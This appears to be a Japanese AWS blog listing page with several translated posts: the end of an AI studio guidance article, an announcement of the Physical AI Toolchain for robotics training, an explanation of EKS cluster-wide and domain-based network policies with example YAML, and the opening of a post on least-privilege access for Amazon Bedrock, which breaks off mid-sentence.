、アウトプットに対するきめ細かな権限をアーティストに与える Control (コントロール） 、来歴を追跡し、承認されたツールの使用を保証する Compliance (コンプライアンス) 、そして AI を暴走する支出ではなく経済的に成り立つものに保つ Cost (コスト) 規律 です。モデルの差し替えをリリースではなく設定変更で行い、クラスターを運用することなく自社の IP で学習させ、余計なプロセスを足すことなく生成された全フレームを追跡可能に保ち、アーティストがソースフッテージと AI の生成物を同じ場所で見つけられるようにする——そのすべてが、これら 5 つの目標のために機能します。 AI-Powered Studio は一つの概念的なアーキテクチャであり、単一の製品ではありません。ここで述べたパターンは、AWS 上で AI を使った制作に乗り出す準備ができたあらゆるチームが利用でき、AWS パートナーがそこへ到達するお手伝いをします。これらの構成要素をどのように組み上げるかは、スタジオごとに固有のものになります——どのモデルへルーティングするか、アセットカタログをどのように構成するか、納品要件がどの程度の来歴の粒度を求めるか、といった点です。原則は共有されるものです。しかし、その実装はあなた自身のものなのです。 参考リンク Amazon Bedrock Amazon SageMaker AI AWS Deadline Cloud Amazon EventBridge AWS AppConfig Amazon API Gateway WebSocket APIs Amazon DynamoDB Policy in Amazon Bedrock AgentCore 寄稿者 Brandon Lindauer, Senior Specialist Solutions Architect, Media & Entertainment Sean Wallitsch, Senior Specialist Solutions Architect, Visual Computing Scott Cler, Senior Industry Specialist, Media & Entertainment Stephen Oliver, Senior Industry Specialist, Media & Entertainment Lee Millstein, Principle GTM Specialist, Media & Entertainment Zach Willner, Senior Partner Solutions Architect, Media & Entertainment Jason O’Malley, Senior Partner Solutions Architect, Media & Entertainment Dan Hawks, Principle Partner Development Specialist, Media & Entertainment ​ AWS のメディアチームの問い合わせ先: awsmedia@amazon.co.jp ※ 毎月のメルマガをはじめました。最新のニュースやイベント情報を発信していきます。購読希望は上記宛先にご連絡ください。 本記事は、 Guidance for an AI-Powered Studio on AWS を翻訳したものです。翻訳は Solutions Architect の王、金目が担当しました。 ​

本記事は 2026 年 10 月 7 日に公開された “ Introducing AWS Physical AI Toolchain ” を翻訳したものです。 フィジカル AI ポリシーのトレーニングとデプロイを AWS 上で大規模に行うための、エンドツーエンドのソリューション フィジカル AI はロボット、自動運転車、スマートファクトリーなどを通して現実世界で稼働する人工知能です。 Capgemini Research Institute の調査によると、79% の組織がすでにフィジカル AI を活用しており、経営幹部の 60% が、フィジカル AI により、これまでロボットの採用が不可能または現実的ではなかった分野での活用が可能になると考えています。テクノロジーはまさに転換期を迎えています。 しかし、ロボットを実用可能な実験用プロトタイプから信頼性の高い生産システムへと発展させるには、単一のモデルだけでは不十分です。これには、データ収集、合成データ生成、モデルトレーニング、シミュレーションに基づく検証、エッジデプロイを統合するパイプラインが必要です。各段階では、それぞれ異なる計算リソース、異なるツールが求められ、運用上の制約も異なります。このような工程間の引き継ぎにおいて、多くのチームが何か月分ものエンジニアリングの時間を浪費しています。 本日、発表する Physical AI Toolchain on AWS は、AWS 上でフィジカル AI の開発ライフサイクル全体を運用するためのリファレンスアーキテクチャ、Infrastructure as Code、デプロイの自動化機能を 1 つにまとめ、NVIDIA Physical AI スタックと統合したものです。このツールチェーンは特定のロボットやタスクの種類に依存しません。自身の URDF、テレオペレーションデータ、タスク定義を用意するだけで、残りの処理はインフラストラクチャが行います。 フィジカル AI 開発ライフサイクル フィジカル AI は、閉ループで稼働し、現実世界に対し、感知、判断、実行を継続的なサイクルで行います。これは、モデルがデータを処理し、予測値を画面に返す、従来の ML-Ops とは根本的に異なります。オフラインの評価では高い精度を出せるモデルも、雑然とした倉庫で 6 軸アームを 200 Hz で制御しなければならないとなると、うまく機能しないかもしれません。開発プロセスでは、物理的な力学特性、リアルタイムの制約、センサーノイズ、安全上の境界、遅延、そして現実世界でのテストではハードウェアの破損の可能性がありコストがかかるという現実を考慮する必要があります。 図 1：フィジカル AI 開発ライフサイクル フィジカル AI のライフサイクルは、直線的なパイプラインではなく、フライホイール（循環構造）です。デプロイされたロボットが新たなデータを生成し、エッジケースを明らかにします。このようなエッジケースは、新たなシミュレーションシナリオの手がかりとなります。シミュレーションにより合成トレーニングデータが生成されます。より向上したモデルは、徐々に難易度を上げたテストによって検証されます。このサイクルを繰り返し、反復のたびにシミュレーションと現実世界のギャップを縮めていきます。 フィジカル AI に専用のツールチェーンが必要な理由 フィジカル AI には汎用的な ML-Ops の前提が通用しません。目的特化型のインフラストラクチャが必要となる 5 つの課題を以下に示します。 様々な計算資源の混在：1 つのフィジカル AI のワークフローの中で、基盤モデルトレーニングのための高帯域の GPU クラスター、物理シミュレーションのための柔軟な中位クラスの GPU 容量、ロボット上のリアルタイム推論のためのエッジ GPU が使われます。1 つの計算サービスですべてをカバーすることはできません。 アーティファクトの乱立：各ロボットリリースには、データセット、シミュレーションシーン、ロボット URDF 記述、キャリブレーションデータ、トレーニングコンテナ、チェックポイント、評価結果、デプロイ可能なエッジパッケージが含まれます。それぞれのステップを横断し、アーティファクトの昇格が制御されていないと、数週間のうちに再現性が失われます。 検証の深さ：故障したロボットが再起動した時には、物理世界はすでに変化しています。フィジカル AI は、シミュレーション、監督下での実機テスト、管理された実環境での展開を経て、段階的に昇格させる必要があります。ロボットアームにはシンプルなブルーグリーンデプロイメントに相当するものはありません。 データの経済性：実機ロボットのデータの収集にはコストがかかります。実環境グレードのポリシーは何百もの異なる環境への対応が求められます。チームには、デモンストレーションデータを、合成データによる拡張や強化学習によって増幅していくループが必要です。 制御経路の配置：物理的な動きを決定する推論は、ロボット上の遅延、電力の予算、熱の制約に縛られます。クラウドはトレーニングやロボット群の管理を担いますが、安全に関わる物理タスクの制御ループとなることはできません。 5 つの課題はすべて相関しています。ツールチェーンの価値は、トレーニングスクリプトが 1 つ増えることではありません。データの取り込みからシミュレーション、エッジデプロイに至る整合性のある検証済みのプロセスであり、多くのチームが時間を費やす引き継ぎの部分を担うものです。 Physical AI Toolchain on AWS の発表 Physical AI Toolchain on AWS は、AWS 上でのフィジカル AI 開発ライフサイクル専用に設計された、リファレンスアーキテクチャ、Infrastructure as Code、デプロイ自動化機能を組み合わせた、一般公開されているコレクションです。NVIDIA のロボティクスソフトウェアスタック―視覚・言語・行動（VLA）トレーニング用「GR00T」、物理シミュレーション用「Isaac Sim」、大規模強化学習用「Isaac Lab」、合成データ生成用「Cosmos」、およびワークフローオーケストレーション用「OSMO」―を再現性のある単一のパイプラインに統合し、AWS マネージドサービス上で展開します。このツールチェーンはフィジカル AI の複雑さを捨象するものではありません。これにより、チームは引継ぎのたびに基盤を構築し直すことなく、再現性のある方法で、データ、モデル、シミュレーションジョブ、デプロイメントアーティファクトをステージ間で移行することができます。 オープンスタンダードに基づく構築 ツールチェーンは NVIDIA のコンポーネントに加えて、ロボティクスチームがすでに利用している公開ツールの上に構築されています。Zarr 形式の生データを読み込んでコミュニティ標準の LeRobot 形式に標準化し、PyTorch と Hugging Face で学習を行い、Gymnasium で強化学習タスクを定義し、URDF でロボットを記述し、移植性の高いエッジ推論のために ONNX 形式でエクスポートします。ロボット上の制御は、モデルから ROS 2 に引き継がれます。こうすることで、データやモデルを移植性の高いオープンなフォーマットで保持できます。 設計原則 ツールチェーンは 3 つの設計原則に基づいています。 モノリシックでなくモジュラー型 ：各コンポーネント（基盤、Isaac Sim、Isaac Lab、GR00T、OSMO）は独立した Terraform モジュールになっており、1 つずつ段階的に導入することも、パイプライン全体に展開することもできます。モジュールは SSM パラメータを通じてコンフィギュレーションを共有しますが、厳密な依存関係はありません。 AWS インフラストラクチャ上の NVIDIA ネイティブ ：ツールチェーンは AWS のコンピュート、ストレージ、ネットワーキング、セキュリティサービス上で NVIDIA Physical AI スタックを実行します。直接 NVIDIA のドキュメンテーションをフォローしても、クラウドネイティブなデプロイ自動化のメリットを享受できます。 リニアなパイプラインではなくフライホイール・アウェア ：基盤によってフィジカル AI 開発の持つ反復的な特性をサポートします。デプロイからフィードバックされたデータが新たなシミュレーションシナリオに活用されます。生成された合成データが学習に活用されます。学習済みモデルが検証に活用されます。ツールチェーンは決まった順序を強制するのではなく、フライホイール内のあらゆる移行に対応する基盤を提供します。 アーキテクチャ Physical AI Toolchain on AWS は基盤にある複雑さを抽象化し、開発のフライホイールを AWS ソリューションに当てはめます。このアーキテクチャは意図的に垂直構造にして、各ピラーが独自に AWS のマネージドの基盤上で NVIDIA ドメインレイヤーを備える形になっています。アーキテクチャ全体のボトムレイヤーは Strands エージェントレイヤーで、インテリジェントなコーディネーションを可能にする Strands Agents SDK をもとに構築された AI ドリブンなオーケストレーションレイヤーです。チームは、個別に 1 つのピラーを採用することも、エージェントオーケストレーションで移行を管理し、ピラーを連携させてエンドツーエンドの完全なパイプライン全体を構築することも可能です。 図 2：Physical AI Toolchain on AWS のコンポーネント データは各ピラーを左から右へと流れます。遠隔操作装置の生データが Amazon Simple Storage Service (Amazon S3) に届き、 Amazon Elastic Kubernetes Service (Amazon EKS) や AWS Batch と NVIDIA Cosmos で合成世界の生成が行われ、AWS Batch と Amazon SageMaker で NVIDIA Isaac Lab および Isaac GR00T を使ってポリシー学習、 Amazon Elastic Compute Cloud (Amazon EC2) 上の NVIDIA Isaac Sim で検証を実行し、最終デプロイで、 AWS IoT Greengrass を使用して、最適化されたモデルを NVIDIA Jetson ハードウェアにプッシュします。Amazon SageMaker や AWS Batch で学習や微調整ジョブを実行することで、実装コストを最適化します。 Strands エージェントレイヤー は一般に公開されている Strands Agents SDK を基に構築され、ツールチェーン全体に AI ネイティブなインターフェースを提供します。チームは各パイプラインのバリエーション向けにカスタムのオーケストレーションスクリプトを書く代わりに、自然言語や構造化されたプロンプトで意図を記述するだけで済みます。あとはエージェントレイヤーが、呼び出すべきコンポーネントを判断し、必要なコンピューティングリソースを割り当て、データの受け渡しを管理し、結果を報告します。 NVIDIA Physical AI スタックの統合 ツールチェーンは NVIDIA Physical AI ソフトウェアスタックと緊密に統合し、AWS の基盤上で展開・運用されます。 NVIDIA はドメイン特化型レイヤーを提供します。 Isaac Sim ：シーン構成、物理的に正確なレンダリング、リアルタイムシミュレーション Isaac Lab ：数千の並列環境での大規模強化学習 Isaac GR00T ：デモンストレーションに基づく視覚・言語・行動（VLA）モデルの微調整 Cosmos ：世界生成と合成データセットの規模拡大のための視覚データの拡張 OSMO ：異種コンピューティング環境（クラウド、オンプレミス、エッジ）にわたるワークフローのオーケストレーション Jetson / RTX ：リアルタイム制約下におけるエッジ推論向けのターゲット実行環境ハードウェア AWS は実行環境を提供します。 Amazon EC2 （NVIDIA GPU インスタンス）：シミュレーションおよび合成データ生成 Amazon SageMaker / AWS Batch ：自動プロビジョニング機能を備え、アイドル時コストがゼロのマネージド型トレーニング Amazon EKS ：GPU スケジューリングを活用した、スケーラブルかつ分散型の OSMO およびクラスターワークロード向け Amazon S3、 Amazon Elastic Container Registry (Amazon ECR) 、 Amazon FSx for Lustre ：データセット、コンテナ、高スループットなトレーニングデータの配信 Amazon CloudWatch 、 AWS Secrets Manager 、 AWS Key Management Service (AWS KMS) 、AWS IoT Greengrass ：オブザーバビリティ、セキュリティ、エッジデプロイメント このツールチェーンはこれら 2 つのスタック間の境界における摩擦を軽減します。AWS はインフラストラクチャのプロビジョニング、デプロイの自動化、セキュリティ・プリミティブ、マネージドサービスの統合に対応します。NVIDIA は、フィジカル AI 担当チームがすでに使用しているシミュレーションエンジン、基盤モデル、オーケストレーションレイヤーを扱います。 対象ユーザー このツールチェーンは、スケーラブルなトレーニングやロボットポリシーの展開のためにクラウドベースのインフラストラクチャを必要とするロボティクスエンジニア、ML エンジニア、プラットフォームチーム、ソリューションアーキテクトなどを対象に開発されています。直接的にメリットが得られる業界としては、製造・産業オートメーション、倉庫・物流、エネルギー・公益事業、医療・ライフサイエンス、鉱業・建設、農業、航空宇宙・防衛などが挙げられます。ロボットが適応的行動を学習し、導入前にシミュレーションで検証を行い、エッジ環境のリアルタイム制約下で運用しなければならないあらゆるドメインに対応します。ツールチェーンが提供するのは完成したロボットの動作ではなく、インフラストラクチャのパターンやアーキテクチャに関する指針です。 利用について 利用開始を支援するため、AWS は以下のリポジトリでワークショップを提供しています。ご利用には以下が必要になります。 SageMaker と EC2 の両方で GPU クォータが承認されている AWS アカウント コンテナイメージ取得用 NVIDIA NGC API キー モデルの重みファイルダウンロードのための Hugging Face トークン 費用が発生しないよう、以下のリソース削除手順に従ってください。 ワークショップでは、段階ごとに順を追って、どのようなロボットデータにも対応可能な実例を用いて説明します。設定についての詳細な指示は、リポジトリ内の README ガイドを参照してください。 https://github.com/aws-samples/sample-the-physical-ai-toolchain-on-aws 各段階における実践例 ツールチェーンのあらゆる段階に順を追った指示が付いており、具体的なコマンド、設定、予想されるアウトプットが示されています。各モジュールには、そのまま使える独自の実践例が付属しています。例えば GR00T トレーニングの場合、27 の UR3 ピック・アンド・プレイス遠隔操作シナリオが付属しており、モジュールを実行して正常に動作することを確認してから別のユースケースやデータセットに置き換えることができます。モジュールは単独でデプロイすることも、パイプライン全体をエンドツーエンドで構成することも可能です。チームは検証済みの Terraform Infrastructure as Code を基盤として、数時間で評価段階から移行して独自データ上でツールチェーンを実行できるようになり、カスタム統合に数週間もかかることはありません。AWS についてある程度の知識があることを想定していますが、フィジカル AI の専門知識は必須ではありません。指示書には段階が進むごとに関連用語や概念の解説がついており、参考資料としてフィジカル AI 用語集も添付されています。 まとめ Physical AI Toolchain on AWS は、フィジカル AI を単一のトレーニングジョブとしてではなく、ライフサイクル全体にわたる課題として捉えています。本ツールチェーンは、データの取り込み、模倣学習、強化学習、合成データ生成、シミュレーション、オーケストレーション、そしてエッジへのデプロイに至るまで、AWS におけるリファレンスアーキテクチャのパターンを提供し、NVIDIA のロボティクススタックと初日から統合されています。推奨されるアプローチは、現在のボトルネックを解消する一つのコンポーネントから着手することです。ゼロから始める場合は、まず Foundation と OSMO をデプロイすることで、フライホイール全体を一元管理するコントロールプレーンを構築できます。ぜひツールチェーンをお試しいただき、issue の登録やコメント欄でのフィードバックをお寄せください。本プロジェクトにご貢献いただいたすべてのビルダーの皆さんに感謝いたします。 <!-- '"` --> Abhishek Srivastav Abhishek Srivastav は Amazon Web Services のプリンシパルソリューションアーキテクトで、クラウド導入の加速戦略を通じてお客様の成功を推進しています。AI/ML テクノロジー、ハイパフォーマンスコンピューティング、シミュレーション、フィジカル AI にわたる深い技術的専門知識を持ち、複雑なエンタープライズ課題に対するソリューションの設計を専門としています。現在の役割では、CIO、CTO をはじめとするテクノロジー担当役員と協働し、デジタルトランスフォーメーションおよび生成 AI の取り組みに向けた包括的なロードマップを策定しています。 Adam Weber Adam Weber は AWS のシニアソリューションアーキテクトで、AWS の専門知識と自動車業界に関する深い知見を組み合わせ、お客様の AI トランスフォーメーションの取り組みを支援しています。今日の自動車業界が直面する独自の課題に対応する、革新的でコスト効率が高く、スケーラブルなソリューションの開発に注力しています。 Ali Shahrokni Ali Shahrokni は NVIDIA のシニアデベロッパーリレーションズマネージャーで、Amazon および AWS チームとの戦略的な技術連携をリードし、高度なロボティクス、AI、コンピュータービジョンのソリューションを構築しています。スイスの EPFL でコンピュータービジョンの博士号を取得し、Amazon、eBay、Magic Leap、オックスフォード大学で主要なリーダーシップおよび技術的役割を歴任。AI、3D 再構成、シーン理解、拡張現実（AR）の分野で、最先端の研究をスケーラブルな産業用途へと展開する取り組みを推進してきました。 Steven DeVries Steven は AWS のプリンシパルソリューションアーキテクトで、自動車・製造業のお客様向けにデータおよび AI の取り組みをリードしています。エージェント型ワークフローのデプロイ、ML パイプラインの構築、生成 AI アプリケーションの設計を手がけ、新興テクノロジーをビジネス価値へと変えています。 Ignacio Sánchez Ignacio Sánchez は AWS のフィジカル AI 担当ワールドワイドスペシャリストソリューションアーキテクトで、スペイン・マドリードを拠点としています。世界中のお客様やパートナーと協働し、空間コンピューティング、ロボティクス、AWS 上のエッジ推論ワークロードにわたって、デジタル世界と物理世界をつなぐ AI ソリューションの設計・デプロイを行っています。新興テクノロジーとその実世界への応用に情熱を注いでおり、余暇には読書、ビデオゲーム、スポーツで体を動かすことを楽しんでいます。 Jathavan Sriram Jathavan Sriram は NVIDIA のシニアソリューションアーキテクトで、AI およびロボティクスソリューションを専門としています。クラウドインフラストラクチャ、Kubernetes、AI テクノロジーにわたる専門知識を持ち、World Foundation Model とフィジカル AI アプリケーションに注力しています。クラウドネイティブなプラットフォーム上で生成 AI を大規模にデプロイできるよう、お客様を支援することに情熱を注いでいます。

この記事は Amazon EKS introduces enhanced network policy capabilities (記事公開日: 2025 年 12 月 15 日) を翻訳したものです。 2025 年 12 月に、 Amazon EKS におけるネイティブなネットワークポリシーのサポートを拡張し、Admin Policy と Application Network Policy の両方に対応したことを発表しました。これらの追加されたポリシーにより、クラスター管理者 (プラットフォームチームやセキュリティチームなど) は、Kubernetes ワークロード全体のネットワークセキュリティを強化するために、クラスター全体に適用されるセキュリティルールを設定できます。 さらに、Namespace の管理者 (アプリケーションチームなど) は、ドメイン名をフィルターとして使用して、外部リソースへの Pod のトラフィックを制御できるようになりました。この方法は、頻繁に変化する特定の IP アドレスのリストや、企業のセキュリティポリシーとしばしば衝突する広範な CIDR ブロックの範囲を管理する必要性をなくし、代わりに Pod がアクセスを許可される外部のウェブサイトやサービスの信頼済みリストを作成できるようにします。これは、クラスターのアウトバウンドトラフィックに対する「許可された宛先」リストと考えることができます。 クラスター内の標準的な Kubernetes のネットワークポリシー を使用すると、仮想ファイアウォールを実装してクラスター内のネットワークトラフィックを分割できます。これらのポリシーにより、受信 (Ingress) と送信 (Egress) の両方のトラフィックを制御するルールを作成できます。Pod ラベル、Namespace、IP アドレスの範囲 (CIDR)、特定のポートなど、いくつかのパラメーターに基づいて通信を制限できます。 この種のネットワークポリシーの例を以下に示します。 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: webapp-egress-policy namespace: sun spec: podSelector: matchLabels: role: webapp policyTypes: - Egress egress: - to: - namespaceSelector: matchLabels: name: moon podSelector: matchLabels: role: frontend ports: - protocol: TCP port: 8080 - to: - namespaceSelector: matchLabels: name: stars podSelector: matchLabels: role: frontend ports: - protocol: TCP port: 8080 上記のポリシーでは、sun Namespace 内の webapp Pod からのアウトバウンドトラフィックが制限されます。 このポリシーの適用対象: sun Namespace 内のラベル role: webapp を持つ Pod。許可されるアウトバウンドトラフィック: moon Namespace 内のラベル role: frontend を持つ Pod への TCP ポート 8080 での通信 stars Namespace 内のラベル role: frontend を持つ Pod への TCP ポート 8080 での通信 ブロックされるトラフィック: webapp Pod からのその他すべてのアウトバウンドトラフィックは暗黙的に拒否されます。 これにより、次のトラフィックフローが生まれます。 ネットワークポリシーは Kubernetes のデフォルトの「すべて許可」の通信設定を改善しますが、いくつかの重要な制限があります。 個々の Namespace 内のトラフィックしか制御できず、クラスター全体にまたがる制御はできません。 ネットワークポリシーには明示的な「拒否」ルールがありません。 ネットワークポリシーの目的は、ネットワークトラフィックのフローを制限することで、誰が自分のアプリケーションと通信できるかをアプリケーション所有者が制御できるようにすることです。 言い換えると、標準のネットワークポリシーは各アプリケーションチームが自分たちのセキュリティルールを管理する場合には適していますが、次のような要件がある状況のために作られたものではありません。 クラスター全体に適用されるセキュリティルール 他者のセキュリティ設定を上書きする機能 一部のポリシーが他のポリシーより優先されるルールの階層 このため、集中管理されたセキュリティ制御や、より複雑なセキュリティ構成を必要とする組織には適していません。 Admin Network Policy とは Admin Network Policy は、クラスター管理者が、ワークロードが稼働する Namespace に関係なく、クラスター内のすべての EKS ワークロードのトラフィック分離を一元管理し、組織のセキュリティ要件に合わせられるように設計されています。 Amazon VPC CNI を使用する Amazon EKS では、単一の CustomResourceDefinition (CRD) オブジェクトを使用して、クラスター全体に適用される 2 種類のネットワークポリシー、Admin Tier と Baseline Tier をサポートするようになりました。 EKS Auto Mode クラスターを運用している場合は、さらにドメイン名フィルタリングを活用して、ドメイン名を使用して宛先へのトラフィックを許可できます。 Kubernetes のドキュメント によれば、Kubernetes の Admin Network Policy は次のように評価されます。 これはつまり、Admin Tier のポリシーが最初に評価され、上書きできないということです。Admin Tier のポリシーが評価された後、標準の NetworkPolicy を使用して、Namespace またはアプリケーション所有者が望むネットワークの分離が実行されます。最後に、クラスターワークロードのデフォルトの接続性を記述する Baseline Tier のルールが適用されます。このルールは、必要に応じて開発者の NetworkPolicy によって上書きできます。 次のシナリオは、ポリシー評価の階層を示しています。 Admin Tier が「外部インターネットへのアクセスを禁止する」と指定している (上書き不可)。 開発者が「インターネットへのアクセスを許可する」という NetworkPolicy を作成する (Admin ルールによってブロックされる)。 Baseline Tier が「内部通信を許可する」と指定している (ネットワークポリシーによって上書き可能)。 Admin Policy の例 次の例は、Admin Network Policy の一般的なユースケースを示しています。 ユースケース 1: 機密性の高いワークロードの分離 クラスターレベルで Namespace を分離します。たとえば、機密性の高いワークロードがある場合、他の Namespace からのクラスタートラフィックが、その機密性の高いワークロードの Namespace に入らないように明示的にブロックしたい場合があります。 apiVersion: networking.k8s.aws/v1alpha1 kind: ClusterNetworkPolicy metadata: name: protect-sensitive-workload spec: tier: Admin priority: 10 subject: namespaces: matchLabels: kubernetes.io/metadata.name: earth ingress: - action: Deny from: - namespaces: matchLabels: {} # すべての Namespace に一致させる。 name: select-all-deny-all これにより、次に示すように、他の Namespace からその Namespace へのすべてのトラフィックがブロックされます。 ユースケース 2: 集中モニタリングアクセスの強制 ローカルのネットワークポリシーがワークロードの可視性を誤ってブロックしないように、集中モニタリングソリューションからすべての Namespace へのアクセスを強制します。 標準の EKS クラスターで、すべての Namespace から kube-system Namespace で稼働している kube-dns への Egress を明示的に許可します。 これを実現するには、次に示すようなネットワークポリシーを記述できます。 apiVersion: networking.k8s.aws/v1alpha1 kind: ClusterNetworkPolicy metadata: name: cluster-wide-allow-example spec: tier: Admin priority: 30 subject: namespaces: {} ingress: - action: Accept name: allow-monitoring-ns-ingress from: - namespaces: matchLabels: kubernetes.io/metadata.name: monitoring egress: - action: Accept name: allow-kube-dns-egress to: - pods: namespaceSelector: matchLabels: kubernetes.io/metadata.name: kube-system podSelector: matchLabels: k8s-app: kube-dns これにより、すべての Namespace が monitoring Namespace からの受信トラフィックを受け入れ、 kube-system Namespace に存在する kube-dns のラベルが付いた Pod への Egress を許可するよう強制され、次のトラフィックフローが生まれます。 Application Network Policy とは Application Network Policy は、従来のネットワークポリシーと DNS フィルタリングを、Namespace を認識する単一の Custom Resource Definition (CRD) に統合することで、Amazon EKS Auto Mode クラスターのネットワークトラフィックの制御を支援します。これは、Pod が EKS クラスター外のリソースにどのように接続するかを制御する必要がある場合に特に便利です。たとえば、Pod が特定のドメイン名にのみアクセスできるようにする場合などです。 Application Network Policy と通常のネットワークポリシーの違い 標準のネットワークポリシーは OSI モデルのレイヤー 3 とレイヤー 4 で動作するため、トラフィックの宛先を制御するには IP ブロックとポート番号を使用するしかありません。しかし、Application Network Policy は OSI モデルのレイヤー 7 でも動作し、完全修飾ドメイン名 (FQDN) に基づいてトラフィックをフィルタリングできます。つまり、次のようなシナリオで Pod からの Egress を管理するのに最適です。 クラウドからオンプレミスへの通信 IP アドレスのリストを管理する代わりに、ドメイン名 (FQDN) を使用するだけで済みます。背後で IP アドレスが変わっても、ポリシーは更新を必要とせずに機能し続けます。たとえば、特定の IP アドレスではなく「internal-api.company.com」を使用するだけです。 SaaS サービスへのアクセス 多くの SaaS プロバイダーは IP アドレスを定期的に変更するため、IP ベースのフィルタリングは実用的ではありません。Application Network Policy は、代わりにドメイン名を使用してルールを作成できるようにすることで、この問題を解決します。たとえば次のとおりです。 "allow traffic to *.salesforce.com" "allow traffic to *.slack.com" Application Network Policy の例 EKS Auto Mode クラスターにデプロイされたアプリケーションが、データセンター内のオンプレミスアプリケーションと通信する必要があるとします。このオンプレミスアプリケーションは、DNS 名を持つロードバランサーの背後にあります。 これを実現するには、次に示すような Application Network Policy を記述できます。 apiVersion: networking.k8s.aws/v1alpha1 kind: ApplicationNetworkPolicy metadata: name: moon-backend-egress namespace: moon spec: podSelector: matchLabels: role: backend policyTypes: - Egress egress: - to: - domainNames: - "myapp.mydomain.com" ports: - protocol: TCP port: 8080 Kubernetes のネットワークレベルでは、これにより、以下に示すように、「moon」Namespace 内の role: backend のラベルが付いたすべての Pod から、ドメイン名 myapp.mydomain.com への TCP ポート 8080 での Egress が許可されます。また、VPC の外に出て (場合によっては AWS Transit Gateway を経由して) 企業のデータセンターにアクセスできるように、ネットワーク接続を設定する必要もあります。 まとめ Amazon EKS クラスターで利用できる新しいネイティブなネットワーク制御を発表します。これにより、Amazon EKS 内でクラスターレベルのネットワーク制御をネイティブに適用できるようになり、Amazon EKS Auto Mode クラスターではクラスターレベルと Namespace レベルの両方で FQDN を使用してアウトバウンドアクセスをフィルタリングできるようになります。 これらの新しいネットワーク制御の使用を開始するには、次の要件を確認してください。 これらの機能を使用するには、クラスターで Kubernetes バージョン 1.29 以降が稼働している必要があります。 これらの制御は、新しい EKS クラスターと既存の EKS クラスターの両方で使用できます。(訳注: 原文の公開後に、既存のクラスターにも対応しました。) 標準の EKS クラスターで ClusterNetworkPolicy を使用するには、Amazon VPC CNI プラグインの v1.21.1 以降が稼働していることを確認してください。 EKS Auto Mode (v1.29 以降) を実行している場合は、 ClusterNetworkPolicy と ApplicationNetworkPolicy (Auto Mode 専用) の両方を使用できます。DNS ベースのポリシーは EKS Auto Mode によって起動された EC2 インスタンス でのみサポートされます。 標準の EKS クラスターでネットワークポリシーを有効にして Admin 制御を適用するには、 AWS のドキュメント を参照してください。EKS Auto Mode クラスターでネットワークポリシーを有効にするには、 こちらの AWS のドキュメント を参照してください。 翻訳はシニアパートナーソリューションアーキテクトの市川が担当しました。原文は こちら です。

本ブログは 2025 年 2 月 11 日に公開された AWS Blog “ Implementing least privilege access for Amazon Bedrock ” を翻訳したものです。 2025 年 11 月 24 日 : 条件ステートメントのロジックに対するサービスコントロールポリシー (SCP) のサポートが更新されたことに合わせて、モデルへのアクセスを制限するアプローチに関する内容を更新しました。 2025 年 4 月 9 日 : Amazon Bedrock Guardrails に関する内容を更新し、最近追加された条件キー bedrock:GuardrailIdentifier について説明を追加しました。 2025 年 3 月 27 日: この記事の 2 つのポリシーを更新しました。 生成 AI アプリケーションでは、コンテンツを生成したり、機密情報となり得るデータにアクセスしたりするために、 Amazon Bedrock や大規模言語モデル (LLM) など、さまざまなサービスや機能を組み合わせることがよくあります。このような組み合わせには、強力なアイデンティティとアクセス管理のコントロールが必要です。また、これらのコントロールをさまざまなレベルで適用する必要がある点が、この組み合わせの特徴です。このブログ記事では、Amazon Bedrock を使用するアプリケーションに最小権限のアクセスを適用できるシナリオとアプローチを紹介します。この記事のガイダンスを十分に活用するには、AWS API、 AWS Identity and Access Management (IAM) ポリシー、AWS のセキュリティサービスについての理解が必要です。 まず、最小権限の原則を定義しましょう。最小権限の原則とは、ユーザー、プログラム、システムがタスクを実行するために必要な最小限のアクセス (アクセス許可) のみを付与することを推奨するセキュリティの概念です。基本的な考え方は、エンティティが持つアクセス許可が少ないほど、悪意のある行為や偶発的な事象による損害のリスクが低くなるというものです。この原則を AWS の利用に適用することには、2 つの目的があります。 セキュリティ : アクセスを制限することで、セキュリティインシデントの潜在的な影響を軽減できます。ユーザーやサービスのアクセス許可が最小限であれば、損害が及ぶ範囲を大幅に縮小できます。 運用のシンプルさ : アクセス許可の管理は、適切な運用と保守を行わないと複雑になる可能性があります。アクセスコントロールに最小権限の原則を早い段階で適用することで、構成をできるだけ管理しやすい状態に保てます。さらに、ロール間の職務の分離と、アクセスコントロールに関する文書化された戦略を求める規制フレームワークもあります。これらの要件は、最小権限の原則を順守することで部分的に満たすことができます。 Amazon Bedrock は、単一の統合 API を通じて高性能な基盤モデル (FM) を利用できるフルマネージド型の AWS サービスです。Amazon Bedrock は AWS API を通じて使用します。AWS API では、推論などのデータプレーンの機能に関するアクションに加えて、 Amazon Bedrock Guardrails や Amazon Bedrock Agents の設定など、コントロールプレーンと管理のためのアクションが提供されています。 一般的に、本番ワークロードで Amazon Bedrock を使用するまでには、次の段階を経ます。 モデルの選択 : 必要な機能 (検索拡張生成 (RAG)、ファインチューニングなど) を決定し、モデルを評価して選択します。必要に応じて EULA を承認します。 モデルの適応 : プロンプトエンジニアリング、アプリケーションへの Amazon Bedrock の統合、必要に応じたモデルのカスタマイズを行います。 モデルのテスト : ソリューションを検証し、テストします。 モデルの運用 : ソリューションをデプロイして利用可能にし、モニタリングと運用を行います。 以降のセクションでは、各フェーズを順に取り上げ、最小権限の原則を適用する方法の概要を説明します。 モデルの選択 このフェーズでは、要件を満たすために必要な機能とモデルを選択し、最小権限の原則をどのように適用するかを定義します。対象となる機能には、例えば モデルのカスタマイズ 、 RAG 、 エージェント の使用などがあります。 定義したコントロールを開発フェーズで実装できるように、セキュリティを設計に組み込む必要があります。必要なセキュリティコントロールを定義するアプローチの 1 つが 脅威モデリング です。この作業をプロセスの早い段階で行っておくと、その後のフェーズを進めやすくなります。その結果は、必要なガードレール、アーキテクチャの変更の要否、テストケースを後で決める際に活用できます。 このフェーズでは、ソリューションのデプロイ方法も決定します。お客様は通常、マルチアカウント構成で運用しているため、対象となる組織単位 (OU) とアカウントを選択する必要があります。生成 AI アプリケーション用に新しい OU を作成することをお勧めします。詳細については、 AWS Security Reference Architecture の 生成 AI に関する詳細な章 を参照してください。サービスコントロールポリシー (SCP) と、SCP を使用してアクセス許可を制限する方法については後ほど説明します。生成 AI 用の OU は、こうしたガードレールを適用するのに適した場所です。 Amazon Bedrock では、AI21 Labs、Anthropic、Cohere、Meta、Mistral AI、Stability AI、Amazon などの主要な AI 企業が提供する、さまざまな高性能 FM を利用できます。この段階では、使用するモデルを選択して承認する必要があります。 AWS Organizations の SCP が IAM ポリシー言語を完全にサポートするようになった ため、SCP 